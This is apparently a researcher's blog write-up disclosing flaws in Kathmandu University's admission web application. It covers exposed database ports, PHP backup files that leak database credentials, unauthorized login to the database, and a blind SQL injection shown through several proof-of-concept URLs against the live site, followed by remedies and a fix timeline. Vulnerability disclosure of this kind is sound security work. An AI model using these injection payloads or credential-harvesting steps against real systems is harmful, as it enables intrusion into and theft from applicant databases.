Hacking KU Admission Web Application

This post is a write-up of my attempt to keep local scene safe and secure and make institutions, programmers and digital users aware about security.

Today, at 1:00 PM, I got a call from a very talented NJ Subedi who told me that some guy told him that the guy could change all his scores and would be able to get him admitted to Kathmandu University even without appearing on the exam. WTH! I told myself. I was working on one of my projects so at first, I did not think of trying to attack the admission app. But, I could not resist my curiosity and soon began some basic recon.

My findings:-

Server: Ubuntu 12.04
OpenSSH 5.9p1
Apache httpd 2.2.22
MariaDB (possibly 5.5.37)


I started smelling bad things when I found that MariaDB port 3306 was open to the world and anybody could access the database server given the credentials.

I knew of an authentication bypass bug in MySQL/MariaDB. But, it was for older versions of database server so after a quick test, I ruled out this exploit.

SSH port was also open to the world and SSH bruteforcing is still common. I don't know if a weak password has been chosen for one of the accounts in the system but I ruled out this possibility believing that there had to be something else: some kind of coding flaw or deployment issue.

Then, I started looking at the source code of common.js file. I could immediately sense that the directory browsing has been enabled so I could list files in a directory without an index file. Looking at the pattern of javascript backup file, I could access backup copies of PHP files as well which revealed critical database credentials. BOOOOM!!! The MariaDB service is open to the world and I now have database credentials of the apply.ku.edu.np/cbt web application. It turned out easier than expected

I then switched to the terminal and got access to the MariaDB server. Within half an hour, I was already in the database. As a proof, I've attached 'show tables' output. No further queries were executed.

Remedies:-

• Remove all backup copies of PHP files
• Filter port 3306 and 22 for limited trusted IPs only (Though I didn't bruteforce MariaDB or SSHD, it can also be an issue).
• Check if any users have been added to linux system and mariadb mysql.user list and revoke necessary accesses
• Change mariadb users and passwords
• Disable remote access to MariaDB

Timeline:-

1:10 PM - started looking into the issue
1:35 PM - got access to the system
2:00 PM - notified concerned people
3:30 PM - bugs resolved
4:00 PM - Vulnerability disclosed


That was quickly fixed. Wish all the applicants good luck.

Updates:- Later, I found a blind SQL injection flaw and a possible vulnerability that would allow to send reset e-mail to all the applicants (I did not test the later one but can still see the possibility of existence of this flaw.)

The blind SQL injection flaw was in ajaxCallFile.php which checks for valid e-mail during password reset process. Its non-trivial but still possible to use this flaw to attack the web application. Below are few PoC URLs:

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27;%20--+&entryMode=checkEmail (A seemingly invalid e-mail address but SQL contextual emailID generates a valid result

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+1=1;%20--+&entryMode=checkEmail (I'm using AND 1 = 1 which is always true here)

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+1=2;%20--+&entryMode=checkEmail (I'm using AND 1=2 this time)

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+5=substr%28@@VERSION,1,1%29;%20--+&entryMode=checkEmail (Here, I find the major version of database is 5.x)

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+%27snipped_for_security%27=substr%28user%28%29,1,3%29;%20--+&entryMode=checkEmail (Here, I can see that first three characters of current db user are 'snipped_for_security')

It was also quickly fixed. Thanks for working hard on keeping applicants safe.


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